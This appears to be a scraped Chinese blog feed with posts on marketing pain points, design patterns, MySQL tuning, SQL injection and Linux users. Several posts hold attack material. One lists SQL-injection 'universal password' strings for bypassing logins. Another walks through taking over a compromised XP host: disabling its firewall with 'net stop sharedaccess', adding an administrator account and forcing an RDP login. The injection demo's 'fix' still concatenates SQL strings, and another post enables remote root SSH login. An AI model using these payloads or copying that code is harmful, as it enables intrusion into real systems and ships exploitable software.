我想可能并不是图像处理的性能——对大多数人来说，PS 的性能已经足够好

这时，让用户使用图像处理软件最大的阻碍可能是易用性，因此“易用性”可能就是痛点，而抓住这一痛点，专注于提高易用性的美图秀秀就取得了初期成功。

好了，那么如何像当初的美图秀秀一样发现用户的痛点呢？

其实，只要你具备了基础信息，画一张图就够了。

首先，画一个横向的箭头，把用户使用图像处理软件的全过程：

上面应该是一个正常用户使用图像处理软件的全部过程：先下载，然后学会怎么用，然后使用它做图片。

然后，你需要找出在每个阶段，影响用户行为的关键因素有哪些？

一般来说，可能影响用户行为的因素有：

  • 性能/效用： 这东西能不能达到我想要的效果？
  • 形象： 是不是符合我个人形象的？
  • 可靠： 是 否存在风险？是否用起来不稳定？
  • 容易： 做出该行为是否很容易、不需要思考？
  • 价格： 做出该行为花钱多不多？

接着，你先把过去市场上产品聚焦点描成“橙色”：

如果具备行业的了解，你就会发现：过去，以 PS 为主的图像处理软件专注于提高性能和可靠性，同时能够帮助它的使用者塑造“专家”的积极形象。

这个时候，你就需要问自己这样一个问题：

在图中的15块方格内，阻碍用户的最大因素是什么？（也就是痛点）

你就会发现：下载、学习和使用 3 个过程都不够容易，而且在下载过程，往往需要付出价格。

然后，你就可以定位用户痛点了：

为什么我们需要不停地寻找痛点？

因为用户需求和行业都在不断变化，过去被所有人“想当然”认为是痛点的属性，很快可能就不再是痛点，而这时在大多数厂商一窝蜂聚焦于“曾经的痛点”时，你挖掘了新痛点，就可能逆流而上。

大多数人的思维是“基于原有的问题，我的解决方案是对的吗？”——“如何比别人更好地提高性能？”

而“寻找痛点”则是考虑“我是否提出了正确的问题？”——“提高性能是不是一个好问题？如果不是，应该问什么新问题？”

所以，寻找用户痛点的过程，往往意味着“提出新的问题”，而不是“原有问题提出正确的解决方案。”

如何寻找？你可以用上面讲过的方法，画出用户的整张“痛点定位图”，寻找对用户的最大障碍来源。

纵向寻找

在同一个过程中，纵向寻找阻碍用户的最大因素。

比如过去的胰岛素（病人买回家自己注射，用来治疗糖尿病）市场，大部分公司的聚焦点在于使用过程中的“性能”和“风险”，致力于研发更高纯度、更高稳定性的胰岛素产品。

这在过去是合理的，因为比起纯度 10% 的胰岛素，纯度 50% 的胰岛素显然更能解决病人问题。

但是随着大部分知名品牌胰岛素纯度都提高到 99% 以上，继续提高 0.1 个百分点的纯度虽然耗费巨额资金，但是对消费者的使用却影响甚微。

这个时候，同类品牌都加入了胰岛素纯度的竞争（类似现在手机轻薄、屏幕等竞争），而 Novo Nordisk 却重新问自己这个问题：

然后它发现其实并不是“性能”和“风险”，而是“形象”和“容易程度”。

  • 形象： 胰岛素消费者其实都不想让别人知道他们是糖尿病。
  • 容易： 过去的注射器非常麻烦，需要提前消毒并且注射。

所以他们转变了战略的聚焦点，不再花费大量精力提高纯度和稳定性，而是帮助消费者提升形象和容易程度。

最终，他们研发出了这种“笔形”的胰岛素，不容易被识别，帮患者遮盖了“糖尿病人”的形象，同时不需要用针注射，提高了使用的容易程度。

所以，纵向寻找痛点，你需要先找出影响某个环节的全部因素，然后看哪个因素是消费者现在的最大阻碍。

横向寻找

你还可以横向寻找：如果所有的竞争者都在关注用户的“使用”阶段，那么我可能应该看看其他阶段有没有痛点机会。

比如汽车行业，用户前后经过了购买、使用、修理、抛弃（转售）这几个环节。

而在大众甲壳虫之前，欧洲所有的汽车公司几乎都聚焦于用户的“使用环节”。为用户造出性能越来越好、也越来越让人有面子的汽车。

而甲壳虫却发现：这并不是当时对用户的最大障碍。因此适当降低了在使用阶段“效用”和“形象”上的投入，转而优化所有阶段的容易程度，同时提高使用阶段的适用性（适应更多的路面情况）。

因此大众造出的甲壳虫外观常年不变，也不能让开车的人更有面子，但是容易买到（销售渠道）、容易驾驶、维修方便（因为使用了标准化配件）同时容易转售（因为样子常年不变）。

再比如，70 年代在美国主打性价比的汽车品牌，在痛点定位图上是这样的：

这个时候如果问：价格敏感用户的最大阻碍是什么？

就会发现这个关键阻碍并不发生在“购买阶段”，而是发生在“使用阶段”——因为石油危机，不论买的车多便宜，高昂的油价让人“买得起开不起”。

所以，主打省油的日系车大举进入美国市场，大获成功。

所以，寻找痛点时，可以问自己：消费者用我的产品分为哪几个阶段？现在哪个阶段是他们的关键障碍？

比如过去中国的手机市场是渠道为王，手机厂商几乎一半的利润分给了渠道商。通过大量的渠道，手机厂商提供了购买的便利性：

“消费者随时随地都能买到手机，可以拿在手上一一比较，而且可以当场买走，不用等待。”

那么同样是1000-2000价位的手机，消费者的主要障碍发生在什么阶段呢？

其实很容易发现，主要障碍发生在使用阶段（2000的手机性能太差），而不是购买阶段（想要很便利地买到）。

所以这就是最初的小米手机，大部分厂商努力的重点在渠道（“购买阶段”），小米的努力重点在产品性能（“使用阶段”）。

不光可以用于寻找产品痛点，还可以用于文案痛点

比如肯德基搞过一个在线优惠活动，文案如下：

如何分析这个广告呢？

首先我们先列出消费的行动过程：先看到文案，然后参加活动。

然后找出每个阶段的主要驱动因素，比如：有兴趣、很容易做到等。

就会发现这个文案的聚焦点在于：提高活动的吸引力，让人产生兴趣（比如足够的优惠）。

但是如果问：现在限制消费者参加活动的关键因素是什么？

答案应该是：整个过程太复杂，不够容易。

这就意味着：刺激人参加活动，痛点应该是“降低复杂性”，如果不降低复杂性，一味提高奖励可能也没有作用。

灵活运用方法，还可以换一种方式，分析文案的有效性。

比如这个公益广告文案“真正的男人，不需要海豹鞭”。

首先，我们先看人认知这一广告信息的过程：

  • 注意： 注意到这个信息，激发了头脑的相关联想。比如看到“壮阳”联想到“性”等印象。
  • 理解： 理解这个信息的意思。
  • 信服： 信服刚刚所理解的信息。
  • 刺激行动： 因为信任这个信息而改变了行动。

然后我们在纵向写上广告想要让人接受的信息。

比如“真正的男人不需要海豹鞭”实际上包含 2 层信息：

  • 海豹鞭被认为可以壮阳
  • 吃海豹鞭的不是真男人

然后把这个广告产生的所有影响涂成橙色，就会发现是这样的：

用海豹鞭不是真男人”这个信息缺乏说服力，基本上只是引起了注意并且让人理解。

然而，通过隐含“海豹鞭被认为可以壮阳”这个信息，让很多本来没听说过海豹鞭的人，第一次知道了海豹鞭可以壮阳，并且更加信服（否则怎么会打广告说不要吃呢）。

所以，这个文案很可能会起到反面效果——为海豹鞭打了广告。

毕竟，如果是海豹鞭销售公司的广告文案，估计也可以这么写：

》真正的男人不需要海豹鞭 但，如果你没有他们那么强 请联系我们购买：XXXX.com

这也是为什么自杀相关的新闻曝光后，自杀的人会变多。

总之，既然文案是为了改变用户的行为，那么设计文案的时候也要分析：

限制用户改变行为的关键障碍是什么？

改变用户的某个习惯

除了产品设计、文案设计，其实几乎任何一种涉及改变的活动，都需要分析痛点，找到影响对方的关键障碍。

比如假设你想帮助人戒烟，那么首先列出吸烟的全部过程：

然后列出每个过程对应的影响因素，比如：

  • 效用： 给人带来正面体验
  • 形象： 提升形象
  • 风险： 是否有风险
  • 容易： 过程是否容易做
  • 价格： 是否需要花费很大成本

找到了这个矩阵，你就会发现过去几乎所有的戒烟干预方式，都聚焦于“吸烟”这个过程，而且是“吸烟”的风险这个过程：

（强调：吸烟有害健康）

比如这个创意广告：

而其实可以有效干预的痛点有很多：

比如降低送烟的形象，想办法让送烟变成一种丢脸的行为。

比如降低吸烟的效用，让大众相信吸烟其实并不会提高注意力，等。

甚至，构思这篇文章本身，李叫兽也在定位痛点：

我的目标是让读者更多地学会如何定位用户的痛点。

首先，我列出了定位用户痛点的过程：
收集信息、了解哪些感受可以改变行为（心理学理论）、综合利用信息和理论。

然后每个过程，都需要让读者“想要”这样做，并且“容易”做到（讲技巧）

最终，我发现读者看文章只有 3 分钟时间，不可能把所有的心理学理论概括清楚，也讲不完用户调查方法。而且发现大部分人的关键问题并不是信息或者知识太少，而是没有巧妙地利用这些知识。

所以把这篇文章解决的痛点定位成了最右下角的一部分：

结语

很多人没有找到用户的痛点，并不是因为欠缺信息（比如不知道用户怎么想的），而是没有有效地利用已有信息。

而如果你重新思考自己已经知道的，分析用户的每个动作过程，就会发现：痛点更容易找到！

]]> 随笔 随笔 23种设计模式的设计理念 /2018/12/17/23-chong-she-ji-mo-shi-de-she-ji-li-nian/ 23 种设计模式的设计理念

什么是设计模式

设计模式（Design pattern）是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。 毫无疑问，设计模式于己于他人于系统都是多赢的，设计模式使代码编制真正工程化，设计模式是软件工程的基石，如同大厦的一块块砖石一样。项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现在中都有相应的原理来与之对应，每一个模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。简单说：

  • 模式：在某些场景下，针对某类问题的某种通用的解决方案
  • 场景：项目所在的环境
  • 问题：约束条件，项目目标等
  • 解决方案：通用、可复用的设计，解决约束达到目标

    设计模式的三个分类

  • 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程。
  • 结构型模式：把类或对象结合在一起形成一个更大的结构。
  • 行为型模式：类和对象如何交互，及划分责任和算法。

    各分类中模式的关键点

    创建型模式

  • 单例模式：某个类只能有一个实例，提供一个全局的访问点。
  • 简单工厂：一个工厂类根据传入的参量决定创建出那一种产品类的实例。
  • 工厂方法：定义一个创建对象的接口，让子类决定实例化那个类。
  • 抽象工厂：创建相关或依赖对象的家族，而无需明确指定具体类。
  • 建造者模式：封装一个复杂对象的构建过程，并可以按步骤构造。
  • 原型模式：通过复制现有的实例来创建新的实例。

    结构型模式

  • 适配器模式：将一个类的方法接口转换成客户希望的另外一个接口。
  • 组合模式：将对象组合成树形结构以表示“”部分-整体“”的层次结构。
  • 装饰模式：动态的给对象添加新的功能。
  • 代理模式：为其他对象提供一个代理以便控制这个对象的访问。
  • 亨元（蝇量）模式：通过共享技术来有效的支持大量细粒度的对象。
  • 外观模式：对外提供一个统一的方法，来访问子系统中的一群接口。
  • 桥接模式：将抽象部分和它的实现部分分离，使它们都可以独立的变化。

    行为型模式

  • 模板模式：定义一个算法结构，而将一些步骤延迟到子类实现。
  • 解释器模式：给定一个语言，定义它的文法的一种表示，并定义一个解释器。
  • 策略模式：定义一系列算法，把他们封装起来，并且使它们可以相互替换。
  • 状态模式：允许一个对象在其对象内部状态改变时改变它的行为。
  • 观察者模式：对象间的一对多的依赖关系。
  • 备忘录模式：在不破坏封装的前提下，保持对象的内部状态。
  • 中介者模式：用一个中介对象来封装一系列的对象交互。
  • 命令模式：将命令请求封装为一个对象，使得可以用不同的请求来进行参数化。
  • 访问者模式：在不改变数据结构的前提下，增加作用于一组对象元素的新功能。
  • 责任链模式：将请求的发送者和接收者解耦，使的多个对象都有处理这个请求的机会。
  • 迭代器模式：一种遍历访问聚合对象中各个元素的方法，不暴露该对象的内部结构。
]]> 设计模式 23种设计模式 谈谈我对设计原则的理解 /2018/12/11/tan-tan-wo-dui-she-ji-yuan-ze-de-li-jie/ 说说你对设计原则的理解

口诀

为了便于记忆，我们可以使用一个口诀来记忆面向对象设计原则：开口合里最单依

  • 开：开闭原则
  • 口：接口隔离原则
  • 合：组合/聚合原则
  • 里：里式替换原则
  • 最：最少知识原则（迪米特法则）
  • 单：单一职责原则
  • 依：依赖倒置原则

开闭原则(Open-Closed Principle, OCP)

一个软件实体应当对扩展开发,对修改关闭.说的是,再设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展.换言之,应当可以在不必修改源代码的情况下改变这个模块的行为，在保持系统一定稳定性的基础上，对系统进行扩展。这是面向对象设计（OOD）的基石，也是最重要的原则。

接口隔离原则(Interface Segregation Principle, ISP)

一个类对另外一个类的依赖是建立在最小的接口上。
使用多个专门的接口比使用单一的总接口要好.根据客户需要的不同,而为不同的客户端提供不同的服务是一种应当得到鼓励的做法.就像”看人下菜碟”一样,要看客人是谁,再提供不同档次的饭菜.
胖接口会导致他们的客户程序之间产生不正常的并且有害的耦合关系.当一个客户程序要求该胖接口进行一个改动时,会影响到所有其他的客户程序.因此客户程序应该仅仅依赖他们实际需要调用的方法.

组合/聚合复用原则(Composite/Aggregate Reuse Principle，CARP)

在一个新的对象里面使用一些已有的对象,使之成为新对象的一部分;新的对象通过这些向对象的委派达到复用已有功能的目的.这个设计原则有另一个简短的表述:要尽量使用合成/聚合,尽量不要使用继承.

#里氏代换原则(Liskov Substitution Principle，LSP)
由 Barbar Liskov (芭芭拉.里氏) 提出，是继承复用的基石。

所有引用基类的地方必须透明的使用其子类的对象。只要父类能出现的地方子类也可以出现，而且替换为子类不会产生任何错误或异常，但是反过来就不行，有子类出现的地方，父类未必就能适应。

最少知识原则(Least Knowledge Principle，LKP)

一个对象应当对其他对象有尽可能少的了解.

没有任何一个其他的 OO 设计原则象迪米特法则这样有如此之多的表述方式,如下几种：

  • 只与你直接的朋友们通信(Only talk to your immediate friends)
  • 不要跟”陌生人”说话(Don’t talk to strangers)
  • 每一个软件单位对其他的单位都只有最少的知识,而且局限于那些本单位密切相关的软件单位
    就是说,如果两个类不必彼此直接通信,那么这两个类就不应当发生直接的相互作用,如果其中的一个类需要调用另一个类的某一个方法的话,可以通过第三者转发这个调用。

单一职责原则(Simple responsibility pinciple，SRP)

就一个类而言,应该仅有一个引起它变化的原因,如果你能想到多于一个的动机去改变一个类,那么这个类就具有多于一个的职责.应该把多于的指责分离出去,分别再创建一些类来完成每一个职责.

依赖倒置原则(Dependence Inversion Principle)

要求客户端依赖于抽象耦合.

  • 模块间的依赖通过抽象发生，实现类之间不发生直接的依赖关系，其依赖关系是通过接口或抽象类产生的。
  • 接口或抽象类不依赖实现类
  • 实现类依赖接口或抽象类

采用依赖倒置原则可以减少类间的耦合性，提高系统的稳定，降低并行开发引起的风险，提高代码的可读性和可维护性。

]]> 设计原则 随笔 设计原则 MySQL优化 /2018/12/02/mysql-you-hua/ MySQL 优化
  • 表关联查询时务必遵循 小表驱动大表 原则；
  • 使用查询语句 where 条件时，不允许出现 函数，否则索引会失效；
  • 使用单表查询时，相同字段尽量不要用 OR，因为可能导致索引失效，比如：SELECT * FROM table WHERE name = '手机' OR name = '电脑'，可以使用 UNION替代；
  • LIKE 语句不允许使用 % 开头，否则索引会失效；
  • 组合索引一定要遵循 从左到右 原则，否则索引会失效；比如：SELECT * FROM table WHERE name = '张三' AND age = 18，那么该组合索引必须是 name,age 形式；
  • 索引不宜过多，根据实际情况决定，尽量不要超过 10 个；
  • 每张表都必须有 主键，达到加快查询效率的目的；
  • 分表，可根据业务字段尾数中的个位或十位或百位（以此类推）做表名达到分表的目的；
  • 分库，可根据业务字段尾数中的个位或十位或百位（以此类推）做库名达到分库的目的；
  • 表分区，类似于硬盘分区，可以将某个时间段的数据放在分区里，加快查询速度，可以配合 分表 + 表分区 结合使用；

    神器 EXPLAIN 语句

EXPLAIN 显示了 MySQL 如何使用索引来处理 SELECT 语句以及连接表。可以帮助选择更好的索引和写出更优化的查询语句。

使用方法，在SELECT 语句前加上 EXPLAIN 即可，如：

EXPLAIN SELECT * FROM tb_item WHERE cid IN (SELECT id FROM tb_item_cat)

  • id： SELECT 识别符。这是 SELECT 的查询序列号

  • select_type： SELECT类型,可以为以下任何一种

    • SIMPLE: 简单 SELECT(不使用 UNION 或子查询)
    • PRIMARY: 最外面的 SELECT
      • UNION: UNION 中的第二个或后面的 SELECT 语句
    • DEPENDENT UNION: UNION 中的第二个或后面的 SELECT 语句,取决于外面的查询
    • UNION RESULT: UNION 的结果
    • SUBQUERY: 子查询中的第一个 SELECT
    • DEPENDENT SUBQUERY: 子查询中的第一个 SELECT,取决于外面的查询
    • DERIVED: 导出表的 SELECT(FROM 子句的子查询)

  • table： 输出的行所引用的表

  • partitions： 表分区

  • type： 联接类型。下面给出各种联接类型，按照 从最佳类型到最坏类型 进行排序

    • system: 表仅有一行(=系统表)。这是 const 联接类型的一个特例。
    • const: 表最多有一个匹配行,它将在查询开始时被读取。因为仅有一行,在这行的列值可被优化器剩余部分认为是常数。const 表很快,因为它们只读取一次!
    • eq_ref: 对于每个来自于前面的表的行组合, 从该表中读取一行。这可能是最好的联接类型, 除了 const 类型。
    • ref: 对于每个来自于前面的表的行组合, 所有有匹配索引值的行将从这张表中读取。
    • ref_or_null: 该联接类型如同 ref,但是添加了 MySQL 可以专门搜索包含 NULL 值的行。
    • index_merge: 该联接类型表示使用了索引合并优化方法。
    • unique_subquery: 该类型替换了下面形式的 IN 子查询的 ref: value IN (SELECT primary_key FROM single_table WHERE some_expr) unique_subquery 是一个索引查找函数, 可以完全替换子查询, 效率更高。
    • index_subquery: 该联接类型类似于 unique_subquery。可以替换 IN 子查询, 但只适合下列形式的子查询中的非唯一索引: value IN (SELECT key_column FROM single_table WHERE some_expr)
    • range: 只检索给定范围的行,使用一个索引来选择行。
    • index: 该联接类型与 ALL 相同,除了只有索引树被扫描。这通常比 ALL 快,因为索引文件通常比数据文件小。
    • ALL: 对于每个来自于先前的表的行组合, 进行完整的表扫描。

  • possible_keys： 指出 MySQL 能使用哪个索引在该表中找到行

  • key： 显示 MySQL 实际决定使用的键(索引)。如果没有选择索引, 键是 NULL。

  • key_len： 显示 MySQL 决定使用的键长度。如果键是 NULL, 则长度为 NULL。

  • ref： 显示使用哪个列或常数与 key 一起从表中选择行。

  • rows： 显示 MySQL 认为它执行查询时必须检查的行数。多行之间的数据相乘可以估算要处理的行数。

  • filtered： 显示了通过条件过滤出的行数的百分比估计值。

  • Extra： 该列包含 MySQL 解决查询的详细信息

    • Distinct: MySQL 发现第 1 个匹配行后,停止为当前的行组合搜索更多的行。
    • Not exists: MySQL 能够对查询进行 LEFT JOIN 优化, 发现 1 个匹配 LEFT JOIN 标准的行后, 不再为前面的的行组合在该表内检查更多的行。
    • range checked for each record (index map: #): MySQL 没有发现好的可以使用的索引, 但发现如果来自前面的表的列值已知, 可能部分索引可以使用。
    • Using filesort: MySQL 需要额外的一次传递, 以找出如何按排序顺序检索行。
    • Using index: 从只使用索引树中的信息而不需要进一步搜索读取实际的行来检索表中的列信息。
    • Using temporary: 为了解决查询, MySQL 需要创建一个临时表来容纳结果。
    • Using where: WHERE 子句用于限制哪一个行匹配下一个表或发送到客户。
    • Using sort_union(…), Using union(…), Using intersect(…): 这些函数说明如何为 index_merge 联接类型合并索引扫描。
    • Using index for group-by: 类似于访问表的 Using index 方式,Using index for group-by 表示 MySQL 发现了一个索引,可以用来查询 GROUP BY 或 DISTINCT 查询的所有列, 而不要额外搜索硬盘访问实际的表。
]]> SQL SQL MySQL优化 后台常用万能密码 /2018/11/23/wan-neng-mi-ma/ 绕过登陆常用万能密码

所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。

分享给大家、、 希望对大家有所帮助！

asp aspx万能密码

1："or "a"="a2：'.).or.('.a.'='.a3：or 1=1--4：'or 1=1--5：a'or' 1=1--6："or 1=1--7：'or.'a.'='a8："or"="a'='a9：'or''='10：'or'='or'

admin’or 1=1#

PHP万能密码

admin’/*
密码/‘
‘or 1=1/

"or "a"="a"or 1=1--"or"=""or"="a'='a"or1=1--"or=or"''or'='or'') or ('a'='a'.).or.('.a.'='.a'or 1=1'or 1=1--'or 1=1/*'or"="a'='a'or' '1'='1''or''=''or''=''or''=''or'='1''or'='or''or.'a.'='a'or1=1--1'or'1'='1a'or' 1=1--a'or'1=1--or 'a'='a'or 1=1--or1=1--

通过该工具可以扫描常用的端口和指定的端口是否开放。

常用端口号：

代理服务器常用以下端口：

  • HTTP协议代理服务器常用端口号：80/8080/3128/8081/9080

  • SOCKS代理协议服务器常用端口号：1080

  • FTP（文件传输）协议代理服务器常用端口号：21

  • Telnet（远程登录）协议代理服务器常用端口：23

    HTTP服务器，默认的端口号为80/tcp（木马Executor开放此端口）；

    HTTPS（securely transferring web pages）服务器，默认的端口号为443/tcp 443/udp；

    Telnet（不安全的文本传送），默认端口号为23/tcp（木马Tiny Telnet Server所开放的端口）；

    FTP，默认的端口号为21/tcp（木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口）；

    TFTP（Trivial File Transfer Protocol ），默认的端口号为69/udp；

    SSH（安全登录）、SCP（文件传输）、端口重定向，默认的端口号为22/tcp；

    SMTP Simple Mail Transfer Protocol (E-mail)，默认的端口号为25/tcp（木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz

    Stealth、WinPC、WinSpy都开放这个端口）；

    POP3 Post Office Protocol (E-mail) ，默认的端口号为110/tcp；

    WebLogic，默认的端口号为7001；

    Webshpere应用程序，默认的端口号为9080；
    webshpere管理工具，默认的端口号为9090；
    JBOSS，默认的端口号为8080；

    TOMCAT，默认的端口号为8080；

    WIN2003远程登陆，默认的端口号为3389；

    Symantec AV/Filter for MSE ,默认端口号为 8081；

    Oracle 数据库，默认的端口号为1521；

    ORACLE EMCTL，默认的端口号为1158；

    Oracle XDB（ XML 数据库），默认的端口号为8080；
    Oracle XDB

    FTP服务，默认的端口号为2100；

    MS SQLSERVER数据库server，默认的端口号为1433/tcp 1433/udp；
    MS SQL    SERVER数据库monitor，默认的端口号为1434/tcp 1434/udp；
    QQ，默认的端口号为1080/udp

XP下双开3389的教程

用到的工具有

xp3389.exe termsrvhack.dll 3389.bat 这么几个文件

首先关他的防火墙

就在这里面输入 net stop sharedaccess 再回车就OK了

现在我们先把xp3389.exe termsrvhack.dll这2个文件传个肉鸡 3389.bat这个要修该后再传的

再运行它。看操作
OK! the Tsenabled成功
再输入Tasklist/SVC >>c:\3389.txt

再肉鸡里面找到3389.txt文件本地打开DcomLaunch, TermService 把这些英文前面的数字记下来

然后返回本地找到 3389.bat

右键编辑 把原来的覆盖掉 保持OK 再传给肉鸡 并运行他

已经OK了。好我们看下能不能连接

1：net stop sharedaccess(关掉防火墙命令)
2：Tasklist/SVC >>c:\3389.txt
3：net user 1 1 /add 意思是建立一下用户名为1密码也为1的用户
4：net localgroup administrators 1 /add 把１这个用户提升为管理员权限

日志位于/windows/system32/logfiles/w3svc1目录下!
主要原因：

 C:\WINDOWS\system32\LogFiles文件夹下为系统日志统计文件,文件系统并不自动删除。处理方法：对日志文件进行合理的清理。    清理方法如下：找到c:/winnt/system32/logfiles/w3svc1目录下的文件，队保留最近的几个日志外，清理干净就可以了！！FTP日志默认位置：%systemroot%\system32\logfiles\msftpsvc1\，默认每天一个。WWW日志默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志。

强制登陆3389
mstsc /admin /v:IP:端口

]]> SQL SQL 万能密码 SQL注入的简单案例 /2018/10/17/sql-zhu-ru-de-jian-dan-an-li/ 什么是SQL注入

SQL注入是现在普通使用的一种攻击手段，就是通过把非法的SQL命令插入到Web表单中或页面请求查询字符串中，最终达到欺骗服务器执行恶意的SQL语句的目的。SQL注入一旦成功，轻则直接绕开服务器验证，直接登录成功，重则将服务器端数据库中的内容一览无余，更有甚者，直接篡改数据库内容等。

使用数据库客户端工具查询用户表

该表中有1个用户，账号为admin，明文密码为123456

访问ERP系统（对密码输入框进行SQL注入）

  • 用户名输入：随便输

  • 密码输入：’ OR ‘1’=’1

  • 发现可以登录进来

SQL注入的原理

密码验证的接口根据输入的用户名和密码查询数据表，如果查到用户记录的话，则认证通过。
代码如下:

public boolean auth(String userName,String password) throws Exception{
    Connection conn = null;
    try {
        conn = DBUtil.getConnection();
        Statement state = conn.createStatement();
        //
        String sql = "SELECT * " +
                     "FROM t_user "+
                     "WHERE username='"+userName+"' " +
                     "AND pwd='"+password+"'";
        /*
         * 密码输入:
         * ' OR '1'='1
         * sql注入攻击
         * 
         */
        System.out.println(sql);
        
        ResultSet rs 
            = state.executeQuery(sql);
        //
        if(rs.next()){
            return true;
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally{
        if(conn != null){
            DBUtil.close(conn);
        }
    }
    return false;
}

实际执行的sql语句如下：

SELECT * FROM t_user WHERE username=’1qwerwterrt’ AND pwd=’’ OR ‘1’=’1’;

因为’1’=’1’永远成立，导致能够查询到所有的用户，所以登录认证通过。

解决方案

修改UserDAO类（使用shiro框架对输入的密码进行加密，然后再对数据库进行操作），具体步骤如下：

  • 修改用户注册的接口
    修改后，代码如下：
    /**
     * 增加用户信息(注册时用)
     * @param u
     * @throws Exception
     */
    public void save(User u)throws Exception{
        //设置盐巴
        String salt = new SecureRandomNumberGenerator().nextBytes().toString();
        //设置撒多少次盐巴
        int times = 2;
        //生成密文
        String encodedPassword = new SimpleHash("md5",u.getPwd(),salt,times).toString();
        Connection con = null;
        PreparedStatement pst = null;
        try{
            con = DBUtil.getConnection();
            pst = con.prepareStatement("insert into t_user(username,pwd,realname,gender,salt) values (?,?,?,?,?)");
            pst.setString(1,u.getUsername());
            pst.setString(2,encodedPassword);
            pst.setString(3,u.getName());
            pst.setString(4,u.getGender());
            pst.setString(5,salt);
            pst.executeUpdate();
        }catch(Exception e){
            e.printStackTrace();
            throw e;
        }finally{
            DBUtil.close(con);
        }       
    }
  • 修改登录认证的接口

修改后，代码如下：

/**
 * 登录认证
 * @param userName
 * @param password
 * @return
 * @throws Exception
 */
public boolean auth(String userName,String password) throws Exception{
    Connection conn = null;
    User user = findByUserName(userName);
    if(user==null){
        return false;
    }
    //得到密文
    String encodePassword = new SimpleHash("md5",password,user.getSalt(),2).toString();
    try {
        conn = DBUtil.getConnection();
        Statement state = conn.createStatement();
        //
        String sql = "SELECT * " +
                     "FROM t_user "+
                     "WHERE username='"+userName+"' " +
                     "AND pwd='"+encodePassword+"'";
        //打印被执行的SQL语句
        System.out.println(sql);
        
        ResultSet rs = state.executeQuery(sql);
        //
        if(rs.next()){
            return true;
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally{
        if(conn != null){
            DBUtil.close(conn);
        }
    }
    return false;
}

重新注册一个管理员账号

  • 输入用户名：sys
  • 输入密码：123456

  • 数据表里面sys用户的密码为密文

    使用sys账号登录ERP系统（输入正确的密码）

输入密码为：123456

使用sys账号登录ERP系统（对密码输入框进行SQL注入）

输入密码为：’ OR ‘1’=’1

UserDAO类的完整代码

代码如下：

package com.myerp.dao;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;

import org.apache.shiro.crypto.SecureRandomNumberGenerator;
import org.apache.shiro.crypto.hash.SimpleHash;

import com.myerp.model.User;
import com.myerp.utils.DBUtil;

/**
 * 针对用户表t_user的数据访问类
 * @author yangzc
 *
 */
public class UserDAO {
    /**
     * 按照username查询一个实体信息
     * 注册时用于检测用户名是否重复
     * 登录时用于检测用户名密码是否正确
     * @param userName
     * @return
     * @throws Exception
     */
    public User findByUserName(String userName)throws Exception{
        User user = null;
        Connection conn = null;
        PreparedStatement pst = null;
        ResultSet rs = null;
        try{
            conn = DBUtil.getConnection();
            pst = conn.prepareStatement("select * from t_user where username=?");
            pst.setString(1, userName);
            rs = pst.executeQuery();
            while(rs.next()){
                user = new User();
                user.setId(rs.getInt("id"));
                user.setUsername(rs.getString("username"));
                user.setPwd(rs.getString("pwd"));
                user.setName(rs.getString("realname"));
                user.setGender(rs.getString("gender"));     
                user.setSalt(rs.getString("salt"));
            }
        }catch(Exception e){
            e.printStackTrace();
            throw e;
        }finally{
            DBUtil.close(conn);
        }
        return user;
    }
    
    /**
     * 增加用户信息(注册时用)
     * @param u
     * @throws Exception
     */
    public void save(User u)throws Exception{
        //设置盐巴
        String salt = new SecureRandomNumberGenerator().nextBytes().toString();
        //设置撒多少次盐巴
        int times = 2;
        //生成密文
        String encodedPassword = new SimpleHash("md5",u.getPwd(),salt,times).toString();
        Connection con = null;
        PreparedStatement pst = null;
        try{
            con = DBUtil.getConnection();
            pst = con.prepareStatement("insert into t_user(username,pwd,realname,gender,salt) values (?,?,?,?,?)");
            pst.setString(1,u.getUsername());
            pst.setString(2,encodedPassword);
            pst.setString(3,u.getName());
            pst.setString(4,u.getGender());
            pst.setString(5,salt);
            pst.executeUpdate();
        }catch(Exception e){
            e.printStackTrace();
            throw e;
        }finally{
            DBUtil.close(con);
        }       
    }
    
    /**
     * 登录认证
     * @param userName
     * @param password
     * @return
     * @throws Exception
     */
    public boolean auth(String userName,String password) throws Exception{
        Connection conn = null;
        User user = findByUserName(userName);
        if(user==null){
            return false;
        }
        //得到密文
        String encodePassword = new SimpleHash("md5",password,user.getSalt(),2).toString();
        try {
            conn = DBUtil.getConnection();
            Statement state = conn.createStatement();
            //
            String sql = "SELECT * " +
                         "FROM t_user "+
                         "WHERE username='"+userName+"' " +
                         "AND pwd='"+encodePassword+"'";
            //打印被执行的SQL语句
            System.out.println(sql);
            
            ResultSet rs = state.executeQuery(sql);
            //
            if(rs.next()){
                return true;
            }
        } catch (Exception e) {
            e.printStackTrace();
        } finally{
            if(conn != null){
                DBUtil.close(conn);
            }
        }
        return false;
    }
}
]]> SQL SQL 万能密码 SQL注入 Linux 用户和组管理 /2018/08/26/linux-yong-hu-he-zu-guan-li/ Linux 用户和组管理

Linux 操作系统是一个多用户操作系统，它允许多用户同时登录到系统上并使用资源。系统会根据账户来区分每个用户的文件，进程，任务和工作环境，使得每个用户工作都不受干扰。

使用 Root 用户

在实际生产操作中，我们基本上都是使用超级管理员账户操作 Linux 系统，也就是 Root 用户，Linux 系统默认是关闭 Root 账户的，我们需要为 Root 用户设置一个初始密码以方便我们使用。

设置 Root 账户密码

sudo passwd root

切换到 Root

su

设置允许远程登录 Root

nano /etc/ssh/sshd_config

# Authentication:
LoginGraceTime 120
#PermitRootLogin without-password     //注释此行
PermitRootLogin yes                             //加入此行
StrictModes yes

重启服务
service ssh restart

用户账户说明

普通用户

普通用户在系统上的任务是进行普通操作

超级管理员

